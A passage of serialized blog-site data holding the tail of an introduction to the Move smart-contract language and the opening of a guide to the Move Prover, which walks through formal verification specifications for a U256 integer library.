vector",{"type":23,"tag":134,"props":8205,"children":8206},{"style":168},[8207],{"type":28,"value":660},{"type":23,"tag":134,"props":8209,"children":8210},{"style":264},[8211],{"type":28,"value":8212},"push_back",{"type":23,"tag":134,"props":8214,"children":8215},{"style":179},[8216],{"type":28,"value":642},{"type":23,"tag":134,"props":8218,"children":8219},{"class":136,"line":814},[8220,8225,8229,8233],{"type":23,"tag":134,"props":8221,"children":8222},{"style":168},[8223],{"type":28,"value":8224},"              &",{"type":23,"tag":134,"props":8226,"children":8227},{"style":151},[8228],{"type":28,"value":914},{"type":23,"tag":134,"props":8230,"children":8231},{"style":162},[8232],{"type":28,"value":7881},{"type":23,"tag":134,"props":8234,"children":8235},{"style":179},[8236],{"type":28,"value":687},{"type":23,"tag":134,"props":8238,"children":8239},{"class":136,"line":827},[8240,8245,8249,8254,8258,8263,8267,8271,8275,8280,8284,8289,8293,8298,8303,8308,8312,8316,8320,8325,8329,8333],{"type":23,"tag":134,"props":8241,"children":8242},{"style":179},[8243],{"type":28,"value":8244},"              (",{"type":23,"tag":134,"props":8246,"children":8247},{"style":168},[8248],{"type":28,"value":1777},{"type":23,"tag":134,"props":8250,"children":8251},{"style":179},[8252],{"type":28,"value":8253},"vector",{"type":23,"tag":134,"props":8255,"children":8256},{"style":168},[8257],{"type":28,"value":660},{"type":23,"tag":134,"props":8259,"children":8260},{"style":264},[8261],{"type":28,"value":8262},"borrow",{"type":23,"tag":134,"props":8264,"children":8265},{"style":179},[8266],{"type":28,"value":272},{"type":23,"tag":134,"props":8268,"children":8269},{"style":168},[8270],{"type":28,"value":277},{"type":23,"tag":134,"props":8272,"children":8273},{"style":162},[8274],{"type":28,"value":7826},{"type":23,"tag":134,"props":8276,"children":8277},{"style":179},[8278],{"type":28,"value":8279},", (",{"type":23,"tag":134,"props":8281,"children":8282},{"style":162},[8283],{"type":28,"value":929},{"type":23,"tag":134,"props":8285,"children":8286},{"style":151},[8287],{"type":28,"value":8288}," as",{"type":23,"tag":134,"props":8290,"children":8291},{"style":597},[8292],{"type":28,"value":5316},{"type":23,"tag":134,"props":8294,"children":8295},{"style":179},[8296],{"type":28,"value":8297},")) ",{"type":23,"tag":134,"props":8299,"children":8300},{"style":151},[8301],{"type":28,"value":8302},"as",{"type":23,"tag":134,"props":8304,"children":8305},{"style":597},[8306],{"type":28,"value":8307}," u128",{"type":23,"tag":134,"props":8309,"children":8310},{"style":179},[8311],{"type":28,"value":252},{"type":23,"tag":134,"props":8313,"children":8314},{"style":168},[8315],{"type":28,"value":1777},{"type":23,"tag":134,"props":8317,"children":8318},{"style":179},[8319],{"type":28,"value":232},{"type":23,"tag":134,"props":8321,"children":8322},{"style":162},[8323],{"type":28,"value":8324},"n_coins",{"type":23,"tag":134,"props":8326,"children":8327},{"style":151},[8328],{"type":28,"value":8288},{"type":23,"tag":134,"props":8330,"children":8331},{"style":597},[8332],{"type":28,"value":8307},{"type":23,"tag":134,"props":8334,"children":8335},{"style":179},[8336],{"type":28,"value":329},{"type":23,"tag":134,"props":8338,"children":8339},{"class":136,"line":836},[8340],{"type":23,"tag":134,"props":8341,"children":8342},{"style":179},[8343],{"type":28,"value":8344},"          );\n",{"type":23,"tag":134,"props":8346,"children":8347},{"class":136,"line":859},[8348,8353,8357,8361,8366,8370],{"type":23,"tag":134,"props":8349,"children":8350},{"style":162},[8351],{"type":28,"value":8352},"          i",{"type":23,"tag":134,"props":8354,"children":8355},{"style":168},[8356],{"type":28,"value":171},{"type":23,"tag":134,"props":8358,"children":8359},{"style":162},[8360],{"type":28,"value":576},{"type":23,"tag":134,"props":8362,"children":8363},{"style":168},[8364],{"type":28,"value":8365}," +",{"type":23,"tag":134,"props":8367,"children":8368},{"style":205},[8369],{"type":28,"value":1729},{"type":23,"tag":134,"props":8371,"children":8372},{"style":179},[8373],{"type":28,"value":182},{"type":23,"tag":134,"props":8375,"children":8376},{"class":136,"line":868},[8377],{"type":23,"tag":134,"props":8378,"children":8379},{"style":179},[8380],{"type":28,"value":8381},"      };\n",{"type":23,"tag":134,"props":8383,"children":8384},{"class":136,"line":877},[8385,8390],{"type":23,"tag":134,"props":8386,"children":8387},{"style":162},[8388],{"type":28,"value":8389},"      spec",{"type":23,"tag":134,"props":8391,"children":8392},{"style":179},[8393],{"type":28,"value":463},{"type":23,"tag":134,"props":8395,"children":8396},{"class":136,"line":946},[8397,8402,8406,8410,8414],{"type":23,"tag":134,"props":8398,"children":8399},{"style":162},[8400],{"type":28,"value":8401},"          assert",{"type":23,"tag":134,"props":8403,"children":8404},{"style":162},[8405],{"type":28,"value":576},{"type":23,"tag":134,"props":8407,"children":8408},{"style":168},[8409],{"type":28,"value":454},{"type":23,"tag":134,"props":8411,"children":8412},{"style":162},[8413],{"type":28,"value":7946},{"type":23,"tag":134,"props":8415,"children":8416},{"style":179},[8417],{"type":28,"value":182},{"type":23,"tag":134,"props":8419,"children":8420},{"class":136,"line":954},[8421,8425,8429,8433,8437,8441,8445,8449],{"type":23,"tag":134,"props":8422,"children":8423},{"style":162},[8424],{"type":28,"value":8401},{"type":23,"tag":134,"props":8426,"children":8427},{"style":264},[8428],{"type":28,"value":8017},{"type":23,"tag":134,"props":8430,"children":8431},{"style":179},[8432],{"type":28,"value":272},{"type":23,"tag":134,"props":8434,"children":8435},{"style":162},[8436],{"type":28,"value":7826},{"type":23,"tag":134,"props":8438,"children":8439},{"style":179},[8440],{"type":28,"value":252},{"type":23,"tag":134,"props":8442,"children":8443},{"style":168},[8444],{"type":28,"value":8035},{"type":23,"tag":134,"props":8446,"children":8447},{"style":162},[8448],{"type":28,"value":7946},{"type":23,"tag":134,"props":8450,"children":8451},{"style":179},[8452],{"type":28,"value":182},{"type":23,"tag":134,"props":8454,"children":8455},{"class":136,"line":984},[8456],{"type":23,"tag":134,"props":8457,"children":8458},{"style":179},[8459],{"type":28,"value":8381},{"type":23,"tag":134,"props":8461,"children":8462},{"class":136,"line":992},[8463],{"type":23,"tag":134,"props":8464,"children":8465},{"style":162},[8466],{"type":28,"value":8467},"      amounts_times_coins\n",{"type":23,"tag":134,"props":8469,"children":8470},{"class":136,"line":1024},[8471],{"type":23,"tag":134,"props":8472,"children":8473},{"style":179},[8474],{"type":28,"value":5328},{"type":23,"tag":134,"props":8476,"children":8477},{"class":136,"line":1032},[8478,8482,8486],{"type":23,"tag":134,"props":8479,"children":8480},{"style":162},[8481],{"type":28,"value":7604},{"type":23,"tag":134,"props":8483,"children":8484},{"style":162},[8485],{"type":28,"value":7817},{"type":23,"tag":134,"props":8487,"children":8488},{"style":179},[8489],{"type":28,"value":463},{"type":23,"tag":134,"props":8491,"children":8492},{"class":136,"line":1092},[8493,8497,8502],{"type":23,"tag":134,"props":8494,"children":8495},{"style":162},[8496],{"type":28,"value":7620},{"type":23,"tag":134,"props":8498,"children":8499},{"style":162},[8500],{"type":28,"value":8501}," opaque",{"type":23,"tag":134,"props":8503,"children":8504},{"style":179},[8505],{"type":28,"value":182},{"type":23,"tag":134,"props":8507,"children":8509},{"class":136,"line":8508},27,[8510,8515,8520],{"type":23,"tag":134,"props":8511,"children":8512},{"style":162},[8513],{"type":28,"value":8514},"      aborts_if",{"type":23,"tag":134,"props":8516,"children":8517},{"style":151},[8518],{"type":28,"value":8519}," false",{"type":23,"tag":134,"props":8521,"children":8522},{"style":179},[8523],{"type":28,"value":182},{"type":23,"tag":134,"props":8525,"children":8527},{"class":136,"line":8526},28,[8528,8532,8536,8540,8545,8549,8553,8557,8561,8565],{"type":23,"tag":134,"props":8529,"children":8530},{"style":162},[8531],{"type":28,"value":7646},{"type":23,"tag":134,"props":8533,"children":8534},{"style":264},[8535],{"type":28,"value":8017},{"type":23,"tag":134,"props":8537,"children":8538},{"style":179},[8539],{"type":28,"value":272},{"type":23,"tag":134,"props":8541,"children":8542},{"style":162},[8543],{"type":28,"value":8544},"result",{"type":23,"tag":134,"props":8546,"children":8547},{"style":179},[8548],{"type":28,"value":252},{"type":23,"tag":134,"props":8550,"children":8551},{"style":168},[8552],{"type":28,"value":8035},{"type":23,"tag":134,"props":8554,"children":8555},{"style":264},[8556],{"type":28,"value":8017},{"type":23,"tag":134,"props":8558,"children":8559},{"style":179},[8560],{"type":28,"value":272},{"type":23,"tag":134,"props":8562,"children":8563},{"style":162},[8564],{"type":28,"value":7826},{"type":23,"tag":134,"props":8566,"children":8567},{"style":179},[8568],{"type":28,"value":1021},{"type":23,"tag":134,"props":8570,"children":8572},{"class":136,"line":8571},29,[8573,8577,8581,8585,8589,8593,8597,8602,8606,8610,8614,8618,8623,8627,8631,8635,8639,8643,8647,8651,8655,8659,8663,8667,8671],{"type":23,"tag":134,"props":8574,"children":8575},{"style":162},[8576],{"type":28,"value":7646},{"type":23,"tag":134,"props":8578,"children":8579},{"style":162},[8580],{"type":28,"value":8078},{"type":23,"tag":134,"props":8582,"children":8583},{"style":162},[8584],{"type":28,"value":8083},{"type":23,"tag":134,"props":8586,"children":8587},{"style":151},[8588],{"type":28,"value":202},{"type":23,"tag":134,"props":8590,"children":8591},{"style":205},[8592],{"type":28,"value":208},{"type":23,"tag":134,"props":8594,"children":8595},{"style":168},[8596],{"type":28,"value":213},{"type":23,"tag":134,"props":8598,"children":8599},{"style":264},[8600],{"type":28,"value":8601},"len",{"type":23,"tag":134,"props":8603,"children":8604},{"style":179},[8605],{"type":28,"value":272},{"type":23,"tag":134,"props":8607,"children":8608},{"style":162},[8609],{"type":28,"value":7826},{"type":23,"tag":134,"props":8611,"children":8612},{"style":179},[8613],{"type":28,"value":296},{"type":23,"tag":134,"props":8615,"children":8616},{"style":168},[8617],{"type":28,"value":1697},{"type":23,"tag":134,"props":8619,"children":8620},{"style":162},[8621],{"type":28,"value":8622}," result",{"type":23,"tag":134,"props":8624,"children":8625},{"style":179},[8626],{"type":28,"value":924},{"type":23,"tag":134,"props":8628,"children":8629},{"style":162},[8630],{"type":28,"value":8116},{"type":23,"tag":134,"props":8632,"children":8633},{"style":179},[8634],{"type":28,"value":8121},{"type":23,"tag":134,"props":8636,"children":8637},{"style":168},[8638],{"type":28,"value":8035},{"type":23,"tag":134,"props":8640,"children":8641},{"style":162},[8642],{"type":28,"value":8130},{"type":23,"tag":134,"props":8644,"children":8645},{"style":179},[8646],{"type":28,"value":924},{"type":23,"tag":134,"props":8648,"children":8649},{"style":162},[8650],{"type":28,"value":8116},{"type":23,"tag":134,"props":8652,"children":8653},{"style":179},[8654],{"type":28,"value":8121},{"type":23,"tag":134,"props":8656,"children":8657},{"style":168},[8658],{"type":28,"value":1777},{"type":23,"tag":134,"props":8660,"children":8661},{"style":264},[8662],{"type":28,"value":8017},{"type":23,"tag":134,"props":8664,"children":8665},{"style":179},[8666],{"type":28,"value":272},{"type":23,"tag":134,"props":8668,"children":8669},{"style":162},[8670],{"type":28,"value":7826},{"type":23,"tag":134,"props":8672,"children":8673},{"style":179},[8674],{"type":28,"value":1021},{"type":23,"tag":134,"props":8676,"children":8678},{"class":136,"line":8677},30,[8679],{"type":23,"tag":134,"props":8680,"children":8681},{"style":179},[8682],{"type":28,"value":5328},{"type":23,"tag":61,"props":8684,"children":8685},{"id":2517},[8686],{"type":28,"value":2520},{"type":23,"tag":24,"props":8688,"children":8689},{},[8690],{"type":28,"value":8691},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":24,"props":8693,"children":8694},{},[8695],{"type":28,"value":8696},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":24,"props":8698,"children":8699},{},[8700,8702,8709],{"type":28,"value":8701},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":31,"props":8703,"children":8706},{"href":8704,"rel":8705},"https://twitter.com/notdeghost/",[35],[8707],{"type":28,"value":8708},"@notdeghost",{"type":28,"value":720},{"type":23,"tag":2575,"props":8711,"children":8712},{},[8713],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":8715},[8716,8717,8718],{"id":5214,"depth":147,"text":5217},{"id":7255,"depth":147,"text":7258},{"id":2517,"depth":147,"text":2520},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":8723,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8724,"description":8725,"author":5175,"image":8726,"date":8729,"isFeatured":15,"tags":8730,"onBlogPage":15,"body":8733,"_type":2586,"_id":13080,"_source":2588,"_file":13081,"_stem":13082,"_extension":2591},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":8727,"height":8728,"width":5179},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[8731,8732],"move","tutorial",{"type":20,"children":8734,"toc":13066},[8735,8754,8766,8772,8777,8782,8787,8796,8801,8815,8820,8826,8831,8845,8850,8987,9000,9005,9026,9060,9071,9077,9082,9092,9105,9448,9462,9480,9525,9538,9557,9729,9734,9739,9764,9769,10371,10383,10395,10400,10414,10419,10432,10473,10478,10510,10515,10520,10533,10918,10945,11152,11157,11169,11406,11411,11419,11438,11786,11791,11948,11953,11960,11974,11980,11985,11990,11996,12009,12241,12247,12252,12272,12541,12546,12552,12564,12569,12583,12589,12625,12725,12746,12752,12757,12762,13014,13019,13037,13041,13046,13051,13062],{"type":23,"tag":24,"props":8736,"children":8737},{},[8738,8740,8745,8747,8752],{"type":28,"value":8739},"Formal verification -- a powerful tool for ",{"type":23,"tag":55,"props":8741,"children":8742},{},[8743],{"type":28,"value":8744},"proving",{"type":28,"value":8746}," the correctness of your programs. How does it ",{"type":23,"tag":55,"props":8748,"children":8749},{},[8750],{"type":28,"value":8751},"actually",{"type":28,"value":8753}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":24,"props":8755,"children":8756},{},[8757,8759,8764],{"type":28,"value":8758},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":55,"props":8760,"children":8761},{},[8762],{"type":28,"value":8763},"all",{"type":28,"value":8765}," possible inputs.",{"type":23,"tag":61,"props":8767,"children":8769},{"id":8768},"move-prover",[8770],{"type":28,"value":8771},"Move Prover",{"type":23,"tag":24,"props":8773,"children":8774},{},[8775],{"type":28,"value":8776},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":24,"props":8778,"children":8779},{},[8780],{"type":28,"value":8781},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":24,"props":8783,"children":8784},{},[8785],{"type":28,"value":8786},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":24,"props":8788,"children":8789},{},[8790],{"type":23,"tag":1116,"props":8791,"children":8795},{"alt":8792,"src":8793,"title":8794},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":24,"props":8797,"children":8798},{},[8799],{"type":28,"value":8800},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":24,"props":8802,"children":8803},{},[8804,8806,8813],{"type":28,"value":8805},"The model is translated into an intermediate language, called ",{"type":23,"tag":31,"props":8807,"children":8810},{"href":8808,"rel":8809},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[35],[8811],{"type":28,"value":8812},"Boogie",{"type":28,"value":8814},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":24,"props":8816,"children":8817},{},[8818],{"type":28,"value":8819},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":61,"props":8821,"children":8823},{"id":8822},"move-specification-language",[8824],{"type":28,"value":8825},"Move Specification Language",{"type":23,"tag":24,"props":8827,"children":8828},{},[8829],{"type":28,"value":8830},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":24,"props":8832,"children":8833},{},[8834,8836,8843],{"type":28,"value":8835},"To better understand how to use the MSL, we will use ",{"type":23,"tag":31,"props":8837,"children":8840},{"href":8838,"rel":8839},"https://github.com/pontem-network/u256",[35],[8841],{"type":28,"value":8842},"Pontem's U256 library",{"type":28,"value":8844},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":24,"props":8846,"children":8847},{},[8848],{"type":28,"value":8849},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":87,"props":8851,"children":8853},{"code":8852,"language":127,"meta":7,"className":128,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[8854],{"type":23,"tag":92,"props":8855,"children":8856},{"__ignoreMap":7},[8857,8900,8920,8940,8960,8980],{"type":23,"tag":134,"props":8858,"children":8859},{"class":136,"line":137},[8860,8865,8869,8874,8879,8883,8888,8892,8896],{"type":23,"tag":134,"props":8861,"children":8862},{"style":151},[8863],{"type":28,"value":8864},"struct",{"type":23,"tag":134,"props":8866,"children":8867},{"style":597},[8868],{"type":28,"value":1937},{"type":23,"tag":134,"props":8870,"children":8871},{"style":162},[8872],{"type":28,"value":8873}," has",{"type":23,"tag":134,"props":8875,"children":8876},{"style":162},[8877],{"type":28,"value":8878}," copy",{"type":23,"tag":134,"props":8880,"children":8881},{"style":179},[8882],{"type":28,"value":242},{"type":23,"tag":134,"props":8884,"children":8885},{"style":162},[8886],{"type":28,"value":8887},"drop",{"type":23,"tag":134,"props":8889,"children":8890},{"style":179},[8891],{"type":28,"value":242},{"type":23,"tag":134,"props":8893,"children":8894},{"style":162},[8895],{"type":28,"value":5397},{"type":23,"tag":134,"props":8897,"children":8898},{"style":179},[8899],{"type":28,"value":463},{"type":23,"tag":134,"props":8901,"children":8902},{"class":136,"line":147},[8903,8908,8912,8916],{"type":23,"tag":134,"props":8904,"children":8905},{"style":162},[8906],{"type":28,"value":8907},"    v0",{"type":23,"tag":134,"props":8909,"children":8910},{"style":168},[8911],{"type":28,"value":1697},{"type":23,"tag":134,"props":8913,"children":8914},{"style":597},[8915],{"type":28,"value":5316},{"type":23,"tag":134,"props":8917,"children":8918},{"style":179},[8919],{"type":28,"value":687},{"type":23,"tag":134,"props":8921,"children":8922},{"class":136,"line":185},[8923,8928,8932,8936],{"type":23,"tag":134,"props":8924,"children":8925},{"style":162},[8926],{"type":28,"value":8927},"    v1",{"type":23,"tag":134,"props":8929,"children":8930},{"style":168},[8931],{"type":28,"value":1697},{"type":23,"tag":134,"props":8933,"children":8934},{"style":597},[8935],{"type":28,"value":5316},{"type":23,"tag":134,"props":8937,"children":8938},{"style":179},[8939],{"type":28,"value":687},{"type":23,"tag":134,"props":8941,"children":8942},{"class":136,"line":221},[8943,8948,8952,8956],{"type":23,"tag":134,"props":8944,"children":8945},{"style":162},[8946],{"type":28,"value":8947},"    v2",{"type":23,"tag":134,"props":8949,"children":8950},{"style":168},[8951],{"type":28,"value":1697},{"type":23,"tag":134,"props":8953,"children":8954},{"style":597},[8955],{"type":28,"value":5316},{"type":23,"tag":134,"props":8957,"children":8958},{"style":179},[8959],{"type":28,"value":687},{"type":23,"tag":134,"props":8961,"children":8962},{"class":136,"line":332},[8963,8968,8972,8976],{"type":23,"tag":134,"props":8964,"children":8965},{"style":162},[8966],{"type":28,"value":8967},"    v3",{"type":23,"tag":134,"props":8969,"children":8970},{"style":168},[8971],{"type":28,"value":1697},{"type":23,"tag":134,"props":8973,"children":8974},{"style":597},[8975],{"type":28,"value":5316},{"type":23,"tag":134,"props":8977,"children":8978},{"style":179},[8979],{"type":28,"value":687},{"type":23,"tag":134,"props":8981,"children":8982},{"class":136,"line":438},[8983],{"type":23,"tag":134,"props":8984,"children":8985},{"style":179},[8986],{"type":28,"value":1098},{"type":23,"tag":24,"props":8988,"children":8989},{},[8990,8992,8998],{"type":28,"value":8991},"Now, let's consider the ",{"type":23,"tag":92,"props":8993,"children":8995},{"className":8994},[],[8996],{"type":28,"value":8997},"add(a: U256, b: U256): U256",{"type":28,"value":8999}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":24,"props":9001,"children":9002},{},[9003],{"type":28,"value":9004},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":24,"props":9006,"children":9007},{},[9008,9010,9016,9018,9025],{"type":28,"value":9009},"For example, if your file is ",{"type":23,"tag":92,"props":9011,"children":9013},{"className":9012},[],[9014],{"type":28,"value":9015},"sources/u256.move",{"type":28,"value":9017},", you can put specifications in ",{"type":23,"tag":31,"props":9019,"children":9022},{"href":9020,"rel":9021},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[35],[9023],{"type":28,"value":9024},"sources/u256.spec.move",{"type":28,"value":720},{"type":23,"tag":87,"props":9027,"children":9029},{"code":9028,"language":127,"meta":7,"className":128,"style":7},"spec add { ... }\n",[9030],{"type":23,"tag":92,"props":9031,"children":9032},{"__ignoreMap":7},[9033],{"type":23,"tag":134,"props":9034,"children":9035},{"class":136,"line":137},[9036,9040,9045,9050,9055],{"type":23,"tag":134,"props":9037,"children":9038},{"style":162},[9039],{"type":28,"value":7734},{"type":23,"tag":134,"props":9041,"children":9042},{"style":162},[9043],{"type":28,"value":9044}," add",{"type":23,"tag":134,"props":9046,"children":9047},{"style":179},[9048],{"type":28,"value":9049}," { ",{"type":23,"tag":134,"props":9051,"children":9052},{"style":168},[9053],{"type":28,"value":9054},"...",{"type":23,"tag":134,"props":9056,"children":9057},{"style":179},[9058],{"type":28,"value":9059}," }\n",{"type":23,"tag":24,"props":9061,"children":9062},{},[9063,9065,9070],{"type":28,"value":9064},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":55,"props":9066,"children":9067},{},[9068],{"type":28,"value":9069},"Expressions",{"type":28,"value":720},{"type":23,"tag":9072,"props":9073,"children":9075},"h3",{"id":9074},"expressions",[9076],{"type":28,"value":9069},{"type":23,"tag":24,"props":9078,"children":9079},{},[9080],{"type":28,"value":9081},"Let's go over some common expressions.",{"type":23,"tag":24,"props":9083,"children":9084},{},[9085,9090],{"type":23,"tag":92,"props":9086,"children":9088},{"className":9087},[],[9089],{"type":28,"value":7784},{"type":28,"value":9091}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":24,"props":9093,"children":9094},{},[9095,9097,9103],{"type":28,"value":9096},"For example, the ",{"type":23,"tag":92,"props":9098,"children":9100},{"className":9099},[],[9101],{"type":28,"value":9102},"add",{"type":28,"value":9104}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":87,"props":9106,"children":9108},{"code":9107,"language":127,"meta":7,"className":128,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[9109],{"type":23,"tag":92,"props":9110,"children":9111},{"__ignoreMap":7},[9112,9146,9153,9202,9224,9253,9290,9331,9338,9345,9360,9441],{"type":23,"tag":134,"props":9113,"children":9114},{"class":136,"line":137},[9115,9120,9125,9129,9133,9137,9142],{"type":23,"tag":134,"props":9116,"children":9117},{"style":151},[9118],{"type":28,"value":9119},"const",{"type":23,"tag":134,"props":9121,"children":9122},{"style":179},[9123],{"type":28,"value":9124}," P64",{"type":23,"tag":134,"props":9126,"children":9127},{"style":168},[9128],{"type":28,"value":1697},{"type":23,"tag":134,"props":9130,"children":9131},{"style":597},[9132],{"type":28,"value":8307},{"type":23,"tag":134,"props":9134,"children":9135},{"style":168},[9136],{"type":28,"value":171},{"type":23,"tag":134,"props":9138,"children":9139},{"style":205},[9140],{"type":28,"value":9141}," 0x10000000000000000",{"type":23,"tag":134,"props":9143,"children":9144},{"style":179},[9145],{"type":28,"value":182},{"type":23,"tag":134,"props":9147,"children":9148},{"class":136,"line":147},[9149],{"type":23,"tag":134,"props":9150,"children":9151},{"emptyLinePlaceholder":15},[9152],{"type":28,"value":865},{"type":23,"tag":134,"props":9154,"children":9155},{"class":136,"line":185},[9156,9160,9164,9169,9173,9177,9181,9185,9189,9193,9198],{"type":23,"tag":134,"props":9157,"children":9158},{"style":162},[9159],{"type":28,"value":7734},{"type":23,"tag":134,"props":9161,"children":9162},{"style":162},[9163],{"type":28,"value":5664},{"type":23,"tag":134,"props":9165,"children":9166},{"style":264},[9167],{"type":28,"value":9168}," value_of_U256",{"type":23,"tag":134,"props":9170,"children":9171},{"style":179},[9172],{"type":28,"value":272},{"type":23,"tag":134,"props":9174,"children":9175},{"style":162},[9176],{"type":28,"value":31},{"type":23,"tag":134,"props":9178,"children":9179},{"style":168},[9180],{"type":28,"value":1697},{"type":23,"tag":134,"props":9182,"children":9183},{"style":597},[9184],{"type":28,"value":1937},{"type":23,"tag":134,"props":9186,"children":9187},{"style":179},[9188],{"type":28,"value":296},{"type":23,"tag":134,"props":9190,"children":9191},{"style":168},[9192],{"type":28,"value":1697},{"type":23,"tag":134,"props":9194,"children":9195},{"style":162},[9196],{"type":28,"value":9197}," num",{"type":23,"tag":134,"props":9199,"children":9200},{"style":179},[9201],{"type":28,"value":463},{"type":23,"tag":134,"props":9203,"children":9204},{"class":136,"line":221},[9205,9210,9214,9219],{"type":23,"tag":134,"props":9206,"children":9207},{"style":162},[9208],{"type":28,"value":9209},"    a",{"type":23,"tag":134,"props":9211,"children":9212},{"style":168},[9213],{"type":28,"value":720},{"type":23,"tag":134,"props":9215,"children":9216},{"style":179},[9217],{"type":28,"value":9218},"v0 ",{"type":23,"tag":134,"props":9220,"children":9221},{"style":168},[9222],{"type":28,"value":9223},"+\n",{"type":23,"tag":134,"props":9225,"children":9226},{"class":136,"line":332},[9227,9231,9235,9240,9244,9248],{"type":23,"tag":134,"props":9228,"children":9229},{"style":162},[9230],{"type":28,"value":9209},{"type":23,"tag":134,"props":9232,"children":9233},{"style":168},[9234],{"type":28,"value":720},{"type":23,"tag":134,"props":9236,"children":9237},{"style":179},[9238],{"type":28,"value":9239},"v1 ",{"type":23,"tag":134,"props":9241,"children":9242},{"style":168},[9243],{"type":28,"value":1777},{"type":23,"tag":134,"props":9245,"children":9246},{"style":597},[9247],{"type":28,"value":9124},{"type":23,"tag":134,"props":9249,"children":9250},{"style":168},[9251],{"type":28,"value":9252}," +\n",{"type":23,"tag":134,"props":9254,"children":9255},{"class":136,"line":438},[9256,9260,9264,9269,9273,9277,9282,9286],{"type":23,"tag":134,"props":9257,"children":9258},{"style":162},[9259],{"type":28,"value":9209},{"type":23,"tag":134,"props":9261,"children":9262},{"style":168},[9263],{"type":28,"value":720},{"type":23,"tag":134,"props":9265,"children":9266},{"style":179},[9267],{"type":28,"value":9268},"v2 ",{"type":23,"tag":134,"props":9270,"children":9271},{"style":168},[9272],{"type":28,"value":1777},{"type":23,"tag":134,"props":9274,"children":9275},{"style":597},[9276],{"type":28,"value":9124},{"type":23,"tag":134,"props":9278,"children":9279},{"style":168},[9280],{"type":28,"value":9281}," *",{"type":23,"tag":134,"props":9283,"children":9284},{"style":597},[9285],{"type":28,"value":9124},{"type":23,"tag":134,"props":9287,"children":9288},{"style":168},[9289],{"type":28,"value":9252},{"type":23,"tag":134,"props":9291,"children":9292},{"class":136,"line":466},[9293,9297,9301,9306,9310,9314,9318,9322,9326],{"type":23,"tag":134,"props":9294,"children":9295},{"style":162},[9296],{"type":28,"value":9209},{"type":23,"tag":134,"props":9298,"children":9299},{"style":168},[9300],{"type":28,"value":720},{"type":23,"tag":134,"props":9302,"children":9303},{"style":179},[9304],{"type":28,"value":9305},"v3 ",{"type":23,"tag":134,"props":9307,"children":9308},{"style":168},[9309],{"type":28,"value":1777},{"type":23,"tag":134,"props":9311,"children":9312},{"style":597},[9313],{"type":28,"value":9124},{"type":23,"tag":134,"props":9315,"children":9316},{"style":168},[9317],{"type":28,"value":9281},{"type":23,"tag":134,"props":9319,"children":9320},{"style":597},[9321],{"type":28,"value":9124},{"type":23,"tag":134,"props":9323,"children":9324},{"style":168},[9325],{"type":28,"value":9281},{"type":23,"tag":134,"props":9327,"children":9328},{"style":597},[9329],{"type":28,"value":9330}," 